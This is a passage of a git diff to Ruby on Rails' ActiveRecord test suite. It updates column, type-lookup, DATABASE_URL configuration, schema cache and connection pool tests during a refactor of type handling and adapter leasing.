def test_should_include_default_clause_when_default_is_present
- column = Column.new("title", "Hello", "varchar(20)")
+ column = Column.new("title", "Hello", Type::String.new(limit: 20))
column_def = ColumnDefinition.new(
- @adapter, column.name, "string",
+ column.name, "string",
column.limit, column.precision, column.scale, column.default, column.null)
- assert_equal %Q{title varchar(20) DEFAULT 'Hello'}, column_def.to_sql
+ assert_equal %Q{title varchar(20) DEFAULT 'Hello'}, @viz.accept(column_def)
end
def test_should_specify_not_null_if_null_option_is_false
- column = Column.new("title", "Hello", "varchar(20)", false)
+ column = Column.new("title", "Hello", Type::String.new(limit: 20), "varchar(20)", false)
column_def = ColumnDefinition.new(
- @adapter, column.name, "string",
+ column.name, "string",
column.limit, column.precision, column.scale, column.default, column.null)
- assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, column_def.to_sql
+ assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, @viz.accept(column_def)
end
if current_adapter?(:MysqlAdapter)
def test_should_set_default_for_mysql_binary_data_types
- binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)")
+ binary_column = MysqlAdapter::Column.new("title", "a", Type::Binary.new, "binary(1)")
assert_equal "a", binary_column.default
- varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)")
+ varbinary_column = MysqlAdapter::Column.new("title", "a", Type::Binary.new, "varbinary(1)")
assert_equal "a", varbinary_column.default
end
def test_should_not_set_default_for_blob_and_text_data_types
assert_raise ArgumentError do
- MysqlAdapter::Column.new("title", "a", "blob")
+ MysqlAdapter::Column.new("title", "a", Type::Binary.new, "blob")
end
assert_raise ArgumentError do
- MysqlAdapter::Column.new("title", "Hello", "text")
+ MysqlAdapter::Column.new("title", "Hello", Type::Text.new)
end
- text_column = MysqlAdapter::Column.new("title", nil, "text")
+ text_column = MysqlAdapter::Column.new("title", nil, Type::Text.new)
assert_equal nil, text_column.default
- not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false)
+ not_null_text_column = MysqlAdapter::Column.new("title", nil, Type::Text.new, "text", false)
assert_equal "", not_null_text_column.default
end
- def test_has_default_should_return_false_for_blog_and_test_data_types
- blob_column = MysqlAdapter::Column.new("title", nil, "blob")
+ def test_has_default_should_return_false_for_blob_and_text_data_types
+ blob_column = MysqlAdapter::Column.new("title", nil, Type::Binary.new, "blob")
assert !blob_column.has_default?
- text_column = MysqlAdapter::Column.new("title", nil, "text")
+ text_column = MysqlAdapter::Column.new("title", nil, Type::Text.new)
assert !text_column.has_default?
end
end
if current_adapter?(:Mysql2Adapter)
def test_should_set_default_for_mysql_binary_data_types
- binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)")
+ binary_column = Mysql2Adapter::Column.new("title", "a", Type::Binary.new, "binary(1)")
assert_equal "a", binary_column.default
- varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)")
+ varbinary_column = Mysql2Adapter::Column.new("title", "a", Type::Binary.new, "varbinary(1)")
assert_equal "a", varbinary_column.default
end
def test_should_not_set_default_for_blob_and_text_data_types
assert_raise ArgumentError do
- Mysql2Adapter::Column.new("title", "a", "blob")
+ Mysql2Adapter::Column.new("title", "a", Type::Binary.new, "blob")
end
assert_raise ArgumentError do
- Mysql2Adapter::Column.new("title", "Hello", "text")
+ Mysql2Adapter::Column.new("title", "Hello", Type::Text.new)
end
- text_column = Mysql2Adapter::Column.new("title", nil, "text")
+ text_column = Mysql2Adapter::Column.new("title", nil, Type::Text.new)
assert_equal nil, text_column.default
- not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false)
+ not_null_text_column = Mysql2Adapter::Column.new("title", nil, Type::Text.new, "text", false)
assert_equal "", not_null_text_column.default
end
- def test_has_default_should_return_false_for_blog_and_test_data_types
- blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
+ def test_has_default_should_return_false_for_blob_and_text_data_types
+ blob_column = Mysql2Adapter::Column.new("title", nil, Type::Binary.new, "blob")
assert !blob_column.has_default?
- text_column = Mysql2Adapter::Column.new("title", nil, "text")
+ text_column = Mysql2Adapter::Column.new("title", nil, Type::Text.new)
assert !text_column.has_default?
end
end
if current_adapter?(:PostgreSQLAdapter)
def test_bigint_column_should_map_to_integer
- oid = PostgreSQLAdapter::OID::Identity.new
+ oid = PostgreSQLAdapter::OID::Integer.new
bigint_column = PostgreSQLColumn.new('number', nil, oid, "bigint")
assert_equal :integer, bigint_column.type
end
def test_smallint_column_should_map_to_integer
- oid = PostgreSQLAdapter::OID::Identity.new
+ oid = PostgreSQLAdapter::OID::Integer.new
smallint_column = PostgreSQLColumn.new('number', nil, oid, "smallint")
assert_equal :integer, smallint_column.type
end
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
deleted file mode 100644
index 2124c256fa..0000000000
--- a/activerecord/test/cases/column_test.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
- module ConnectionAdapters
- class ColumnTest < ActiveRecord::TestCase
- def test_type_cast_boolean
- column = Column.new("field", nil, "boolean")
- assert column.type_cast(true)
- assert column.type_cast(1)
- assert column.type_cast('1')
- assert column.type_cast('t')
- assert column.type_cast('T')
- assert column.type_cast('true')
- assert column.type_cast('TRUE')
- assert column.type_cast('on')
- assert column.type_cast('ON')
- assert !column.type_cast(false)
- assert !column.type_cast(0)
- assert !column.type_cast('0')
- assert !column.type_cast('f')
- assert !column.type_cast('F')
- assert !column.type_cast('false')
- assert !column.type_cast('FALSE')
- assert !column.type_cast('off')
- assert !column.type_cast('OFF')
- end
-
- def test_type_cast_integer
- column = Column.new("field", nil, "integer")
- assert_equal 1, column.type_cast(1)
- assert_equal 1, column.type_cast('1')
- assert_equal 1, column.type_cast('1ignore')
- assert_equal 0, column.type_cast('bad1')
- assert_equal 0, column.type_cast('bad')
- assert_equal 1, column.type_cast(1.7)
- assert_equal 0, column.type_cast(false)
- assert_equal 1, column.type_cast(true)
- assert_nil column.type_cast(nil)
- end
-
- def test_type_cast_non_integer_to_integer
- column = Column.new("field", nil, "integer")
- assert_raises(NoMethodError) do
- column.type_cast([])
- end
-
- assert_raises(NoMethodError) do
- column.type_cast(Object.new)
- end
- end
-
- def test_type_cast_time
- column = Column.new("field", nil, "time")
- assert_equal nil, column.type_cast('')
- assert_equal nil, column.type_cast(' ')
-
- time_string = Time.now.utc.strftime("%T")
- assert_equal time_string, column.type_cast(time_string).strftime("%T")
- end
-
- def test_type_cast_datetime_and_timestamp
- [Column.new("field", nil, "datetime"), Column.new("field", nil, "timestamp")].each do |column|
- assert_equal nil, column.type_cast('')
- assert_equal nil, column.type_cast(' ')
-
- datetime_string = Time.now.utc.strftime("%FT%T")
- assert_equal datetime_string, column.type_cast(datetime_string).strftime("%FT%T")
- end
- end
-
- def test_type_cast_date
- column = Column.new("field", nil, "date")
- assert_equal nil, column.type_cast('')
- assert_equal nil, column.type_cast(' ')
-
- date_string = Time.now.utc.strftime("%F")
- assert_equal date_string, column.type_cast(date_string).strftime("%F")
- end
-
- def test_type_cast_duration_to_integer
- column = Column.new("field", nil, "integer")
- assert_equal 1800, column.type_cast(30.minutes)
- assert_equal 7200, column.type_cast(2.hours)
- end
- end
- end
-end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
deleted file mode 100644
index 1eb9bf60e1..0000000000
--- a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
- module ConnectionAdapters
- class AbstractAdapterTest < ActiveRecord::TestCase
- attr_reader :adapter
-
- def setup
- @adapter = AbstractAdapter.new nil, nil
- end
-
- def test_in_use?
- refute adapter.in_use?, 'adapter is not in use'
- assert adapter.lease, 'lease adapter'
- assert adapter.in_use?, 'adapter is in use'
- end
-
- def test_lease_twice
- assert adapter.lease, 'should lease adapter'
- refute adapter.lease, 'should not lease adapter'
- end
-
- def test_last_use
- refute adapter.last_use
- adapter.lease
- assert adapter.last_use
- end
-
- def test_expire_mutates_in_use
- assert adapter.lease, 'lease adapter'
- assert adapter.in_use?, 'adapter is in use'
- adapter.expire
- refute adapter.in_use?, 'adapter is in use'
- end
-
- def test_close
- pool = ConnectionPool.new(ConnectionSpecification.new({}, nil))
- pool.insert_connection_for_test! adapter
- adapter.pool = pool
-
- # Make sure the pool marks the connection in use
- assert_equal adapter, pool.connection
- assert adapter.in_use?
-
- # Close should put the adapter back in the pool
- adapter.close
- refute adapter.in_use?
-
- assert_equal adapter, pool.connection
- end
- end
- end
-end
diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
new file mode 100644
index 0000000000..662e19f35e
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
@@ -0,0 +1,54 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AdapterLeasingTest < ActiveRecord::TestCase
+ class Pool < ConnectionPool
+ def insert_connection_for_test!(c)
+ synchronize do
+ @connections << c
+ @available.add c
+ end
+ end
+ end
+
+ def setup
+ @adapter = AbstractAdapter.new nil, nil
+ end
+
+ def test_in_use?
+ assert_not @adapter.in_use?, 'adapter is not in use'
+ assert @adapter.lease, 'lease adapter'
+ assert @adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_lease_twice
+ assert @adapter.lease, 'should lease adapter'
+ assert_not @adapter.lease, 'should not lease adapter'
+ end
+
+ def test_expire_mutates_in_use
+ assert @adapter.lease, 'lease adapter'
+ assert @adapter.in_use?, 'adapter is in use'
+ @adapter.expire
+ assert_not @adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_close
+ pool = Pool.new(ConnectionSpecification.new({}, nil))
+ pool.insert_connection_for_test! @adapter
+ @adapter.pool = pool
+
+ # Make sure the pool marks the connection in use
+ assert_equal @adapter, pool.connection
+ assert @adapter.in_use?
+
+ # Close should put the adapter back in the pool
+ @adapter.close
+ assert_not @adapter.in_use?
+
+ assert_equal @adapter, pool.connection
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
new file mode 100644
index 0000000000..37ad469476
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
@@ -0,0 +1,293 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+ def setup
+ @previous_database_url = ENV.delete("DATABASE_URL")
+ @previous_rack_env = ENV.delete("RACK_ENV")
+ @previous_rails_env = ENV.delete("RAILS_ENV")
+ end
+
+ teardown do
+ ENV["DATABASE_URL"] = @previous_database_url
+ ENV["RACK_ENV"] = @previous_rack_env
+ ENV["RAILS_ENV"] = @previous_rails_env
+ end
+
+ def resolve_config(config)
+ ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+ end
+
+ def resolve_spec(spec, config)
+ ConnectionSpecification::Resolver.new(resolve_config(config)).resolve(spec)
+ end
+
+ def test_resolver_with_database_uri_and_current_env_symbol_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_spec(:default_env, config)
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_current_env_symbol_key_and_rails_env
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ ENV['RAILS_ENV'] = "foo"
+
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_spec(:foo, config)
+ expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_current_env_symbol_key_and_rack_env
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ ENV['RACK_ENV'] = "foo"
+
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_spec(:foo, config)
+ expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_and_current_env_string_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = assert_deprecated { resolve_spec("default_env", config) }
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_and_current_env_string_key_and_rails_env
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ ENV['RAILS_ENV'] = "foo"
+
+ config = { "not_production" => {"adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = assert_deprecated { resolve_spec("foo", config) }
+ expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_and_current_env_string_key_and_rack_env
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ ENV['RACK_ENV'] = "foo"
+
+ config = { "not_production" => {"adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = assert_deprecated { resolve_spec("foo", config) }
+ expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_known_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+ actual = resolve_spec(:production, config)
+ expected = { "adapter"=>"not_postgres", "database"=>"not_foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_resolver_with_database_uri_and_unknown_symbol_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ assert_raises AdapterNotSpecified do
+ resolve_spec(:production, config)
+ end
+ end
+
+ def test_resolver_with_database_uri_and_unknown_string_key
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ assert_deprecated do
+ assert_raises AdapterNotSpecified do
+ resolve_spec("production", config)
+ end
+ end
+ end
+
+ def test_resolver_with_database_uri_and_supplied_url
+ ENV['DATABASE_URL'] = "not-postgres://not-localhost/not_foo"
+ config = { "production" => { "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
+ actual = resolve_spec("postgres://localhost/foo", config)
+ expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_jdbc_url
+ config = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_environment_does_not_exist_in_config_url_does_exist
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+ config = { "not_default_env" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+ actual = resolve_config(config)
+ expect_prod = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expect_prod, actual["default_env"]
+ end
+
+ def test_url_with_hyphenated_scheme
+ ENV['DATABASE_URL'] = "ibm-db://localhost/foo"
+ config = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+ actual = resolve_spec(:default_env, config)
+ expected = { "adapter"=>"ibm_db", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_string_connection
+ config = { "default_env" => "postgres://localhost/foo" }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_url_sub_key
+ config = { "default_env" => { "url" => "postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_hash
+ config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_blank
+ config = {}
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_blank_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {}
+ actual = resolve_config(config)
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost" }
+ assert_equal expected, actual["default_env"]
+ assert_equal nil, actual["production"]
+ assert_equal nil, actual["development"]
+ assert_equal nil, actual["test"]
+ assert_equal nil, actual[:default_env]
+ assert_equal nil, actual[:production]
+ assert_equal nil, actual[:development]
+ assert_equal nil, actual[:test]
+ end
+
+ def test_blank_with_database_url_with_rails_env
+ ENV['RAILS_ENV'] = "not_production"
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {}
+ actual = resolve_config(config)
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost" }
+
+ assert_equal expected, actual["not_production"]
+ assert_equal nil, actual["production"]
+ assert_equal nil, actual["default_env"]
+ assert_equal nil, actual["development"]
+ assert_equal nil, actual["test"]
+ assert_equal nil, actual[:default_env]
+ assert_equal nil, actual[:not_production]
+ assert_equal nil, actual[:production]
+ assert_equal nil, actual[:development]
+ assert_equal nil, actual[:test]
+ end
+
+ def test_blank_with_database_url_with_rack_env
+ ENV['RACK_ENV'] = "not_production"
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {}
+ actual = resolve_config(config)
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost" }
+
+ assert_equal expected, actual["not_production"]
+ assert_equal nil, actual["production"]
+ assert_equal nil, actual["default_env"]
+ assert_equal nil, actual["development"]
+ assert_equal nil, actual["test"]
+ assert_equal nil, actual[:default_env]
+ assert_equal nil, actual[:not_production]
+ assert_equal nil, actual[:production]
+ assert_equal nil, actual[:development]
+ assert_equal nil, actual[:test]
+ end
+
+ def test_database_url_with_ipv6_host_and_port
+ ENV['DATABASE_URL'] = "postgres://[::1]:5454/foo"
+
+ config = {}
+ actual = resolve_config(config)
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "::1",
+ "port" => 5454 }
+ assert_equal expected, actual["default_env"]
+ end
+
+ def test_url_sub_key_with_database_url
+ ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+ config = { "default_env" => { "url" => "postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_no_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"default_env" => { "pool" => "5" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
new file mode 100644
index 0000000000..80244d1439
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
@@ -0,0 +1,65 @@
+require "cases/helper"
+
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+module ActiveRecord
+ module ConnectionAdapters
+ class MysqlTypeLookupTest < ActiveRecord::TestCase
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_boolean_types
+ emulate_booleans(true) do
+ assert_lookup_type :boolean, 'tinyint(1)'
+ assert_lookup_type :boolean, 'TINYINT(1)'
+ end
+ end
+
+ def test_string_types
+ assert_lookup_type :string, "enum('one', 'two', 'three')"
+ assert_lookup_type :string, "ENUM('one', 'two', 'three')"
+ assert_lookup_type :string, "set('one', 'two', 'three')"
+ assert_lookup_type :string, "SET('one', 'two', 'three')"
+ end
+
+ def test_enum_type_with_value_matching_other_type
+ assert_lookup_type :string, "ENUM('unicode', '8bit', 'none')"
+ end
+
+ def test_binary_types
+ assert_lookup_type :binary, 'bit'
+ assert_lookup_type :binary, 'BIT'
+ end
+
+ def test_integer_types
+ emulate_booleans(false) do
+ assert_lookup_type :integer, 'tinyint(1)'
+ assert_lookup_type :integer, 'TINYINT(1)'
+ assert_lookup_type :integer, 'year'
+ assert_lookup_type :integer, 'YEAR'
+ end
+ end
+
+ private
+
+ def assert_lookup_type(type, lookup)
+ cast_type = @connection.type_map.lookup(lookup)
+ assert_equal type, cast_type.type
+ end
+
+ def emulate_booleans(value)
+ old_emulate_booleans = @connection.emulate_booleans
+ change_emulate_booleans(value)
+ yield
+ ensure
+ change_emulate_booleans(old_emulate_booleans)
+ end
+
+ def change_emulate_booleans(value)
+ @connection.emulate_booleans = value
+ @connection.clear_cache!
+ end
+ end
+ end
+end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
index 541e983758..c7531f5418 100644
--- a/activerecord/test/cases/connection_adapters/schema_cache_test.rb
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -9,49 +9,46 @@ module ActiveRecord
end
def test_primary_key
- assert_equal 'id', @cache.primary_keys['posts']
+ assert_equal 'id', @cache.primary_keys('posts')
end
def test_primary_key_for_non_existent_table
- assert_nil @cache.primary_keys['omgponies']
+ assert_nil @cache.primary_keys('omgponies')
end
def test_caches_columns
- columns = @cache.columns['posts']
- assert_equal columns, @cache.columns['posts']
+ columns = @cache.columns('posts')
+ assert_equal columns, @cache.columns('posts')
end
def test_caches_columns_hash
- columns_hash = @cache.columns_hash['posts']
- assert_equal columns_hash, @cache.columns_hash['posts']
+ columns_hash = @cache.columns_hash('posts')
+ assert_equal columns_hash, @cache.columns_hash('posts')
end
def test_clearing
- @cache.columns['posts']
- @cache.columns_hash['posts']
- @cache.tables['posts']
- @cache.primary_keys['posts']
+ @cache.columns('posts')
+ @cache.columns_hash('posts')
+ @cache.tables('posts')
+ @cache.primary_keys('posts')
@cache.clear!
- assert_equal 0, @cache.columns.size
- assert_equal 0, @cache.columns_hash.size
- assert_equal 0, @cache.tables.size
- assert_equal 0, @cache.primary_keys.size
+ assert_equal 0, @cache.size
end
def test_dump_and_load
- @cache.columns['posts']
- @cache.columns_hash['posts']
- @cache.tables['posts']
- @cache.primary_keys['posts']
+ @cache.columns('posts')
+ @cache.columns_hash('posts')
+ @cache.tables('posts')
+ @cache.primary_keys('posts')
@cache = Marshal.load(Marshal.dump(@cache))
- assert_equal 12, @cache.columns['posts'].size
- assert_equal 12, @cache.columns_hash['posts'].size
- assert @cache.tables['posts']
- assert_equal 'id', @cache.primary_keys['posts']
+ assert_equal 11, @cache.columns('posts').size
+ assert_equal 11, @cache.columns_hash('posts').size
+ assert @cache.tables('posts')
+ assert_equal 'id', @cache.primary_keys('posts')
end
end
diff --git a/activerecord/test/cases/connection_adapters/type_lookup_test.rb b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
new file mode 100644
index 0000000000..d5c1dc1e5d
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
@@ -0,0 +1,101 @@
+require "cases/helper"
+
+unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strigns for lookup
+module ActiveRecord
+ module ConnectionAdapters
+ class TypeLookupTest < ActiveRecord::TestCase
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_boolean_types
+ assert_lookup_type :boolean, 'boolean'
+ assert_lookup_type :boolean, 'BOOLEAN'
+ end
+
+ def test_string_types
+ assert_lookup_type :string, 'char'
+ assert_lookup_type :string, 'varchar'
+ assert_lookup_type :string, 'VARCHAR'
+ assert_lookup_type :string, 'varchar(255)'
+ assert_lookup_type :string, 'character varying'
+ end
+
+ def test_binary_types
+ assert_lookup_type :binary, 'binary'
+ assert_lookup_type :binary, 'BINARY'
+ assert_lookup_type :binary, 'blob'
+ assert_lookup_type :binary, 'BLOB'
+ end
+
+ def test_text_types
+ assert_lookup_type :text, 'text'
+ assert_lookup_type :text, 'TEXT'
+ assert_lookup_type :text, 'clob'
+ assert_lookup_type :text, 'CLOB'
+ end
+
+ def test_date_types
+ assert_lookup_type :date, 'date'
+ assert_lookup_type :date, 'DATE'
+ end
+
+ def test_time_types
+ assert_lookup_type :time, 'time'
+ assert_lookup_type :time, 'TIME'
+ end
+
+ def test_datetime_types
+ assert_lookup_type :datetime, 'datetime'
+ assert_lookup_type :datetime, 'DATETIME'
+ assert_lookup_type :datetime, 'timestamp'
+ assert_lookup_type :datetime, 'TIMESTAMP'
+ end
+
+ def test_decimal_types
+ assert_lookup_type :decimal, 'decimal'
+ assert_lookup_type :decimal, 'decimal(2,8)'
+ assert_lookup_type :decimal, 'DECIMAL'
+ assert_lookup_type :decimal, 'numeric'
+ assert_lookup_type :decimal, 'numeric(2,8)'
+ assert_lookup_type :decimal, 'NUMERIC'
+ assert_lookup_type :decimal, 'number'
+ assert_lookup_type :decimal, 'number(2,8)'
+ assert_lookup_type :decimal, 'NUMBER'
+ end
+
+ def test_float_types
+ assert_lookup_type :float, 'float'
+ assert_lookup_type :float, 'FLOAT'
+ assert_lookup_type :float, 'double'
+ assert_lookup_type :float, 'DOUBLE'
+ end
+
+ def test_integer_types
+ assert_lookup_type :integer, 'integer'
+ assert_lookup_type :integer, 'INTEGER'
+ assert_lookup_type :integer, 'tinyint'
+ assert_lookup_type :integer, 'smallint'
+ assert_lookup_type :integer, 'bigint'
+ end
+
+ def test_decimal_without_scale
+ types = %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0) number(2) number(2,0)}
+ types.each do |type|
+ cast_type = @connection.type_map.lookup(type)
+
+ assert_equal :decimal, cast_type.type
+ assert_equal 2, cast_type.type_cast_from_user(2.1)
+ end
+ end
+
+ private
+
+ def assert_lookup_type(type, lookup)
+ cast_type = @connection.type_map.lookup(lookup)
+ assert_equal type, cast_type.type
+ end
+ end
+ end
+end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index fe1b40d884..f53c496ecd 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -26,25 +26,27 @@ module ActiveRecord
assert ActiveRecord::Base.connection_handler.active_connections?
end
- def test_connection_pool_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_connection_pool_per_pid
+ object_id = ActiveRecord::Base.connection.object_id
- object_id = ActiveRecord::Base.connection.object_id
+ rd, wr = IO.pipe
+ rd.binmode
+ wr.binmode
- rd, wr = IO.pipe
+ pid = fork {
+ rd.close
+ wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+ wr.close
+ exit!
+ }
- pid = fork {
- rd.close
- wr.write Marshal.dump ActiveRecord::Base.connection.object_id
wr.close
- exit!
- }
-
- wr.close
- Process.waitpid pid
- assert_not_equal object_id, Marshal.load(rd.read)
- rd.close
+ Process.waitpid pid
+ assert_not_equal object_id, Marshal.load(rd.read)
+ rd.close
+ end
end
def test_app_delegation
@@ -80,9 +82,9 @@ module ActiveRecord
end
def test_connections_closed_if_exception
- app = Class.new(App) { def call(env); raise; end }.new
+ app = Class.new(App) { def call(env); raise NotImplementedError; end }.new
explosive = ConnectionManagement.new(app)
- assert_raises(RuntimeError) { explosive.call(@env) }
+ assert_raises(NotImplementedError) { explosive.call(@env) }
assert !ActiveRecord::Base.connection_handler.active_connections?
end
@@ -94,6 +96,14 @@ module ActiveRecord
assert ActiveRecord::Base.connection_handler.active_connections?
end
+ def test_connections_closed_if_exception_and_explicitly_not_test
+ @env['rack.test'] = false
+ app = Class.new(App) { def call(env); raise NotImplementedError; end }.new
+ explosive = ConnectionManagement.new(app)
+ assert_raises(NotImplementedError) { explosive.call(@env) }
+ assert !ActiveRecord::Base.connection_handler.active_connections?
+ end
+
test "doesn't clear active connections when running in a test case" do
@env['rack.test'] = true
@management.call(@env)
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index 0718d0886f..8d15a76735 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'active_support/concurrency/latch'
module ActiveRecord
module ConnectionAdapters
@@ -22,8 +23,7 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
@pool.disconnect!
end
@@ -89,10 +89,9 @@ module ActiveRecord
end
def test_full_pool_exception
+ @pool.size.times { @pool.checkout }
assert_raises(ConnectionTimeoutError) do
- (@pool.size + 1).times do
- @pool.checkout
- end
+ @pool.checkout
end
end
@@ -118,13 +117,13 @@ module ActiveRecord
connection = cs.first
@pool.remove connection
assert_respond_to t.join.value, :execute
+ connection.close
end
def test_reap_and_active
@pool.checkout
@pool.checkout
@pool.checkout
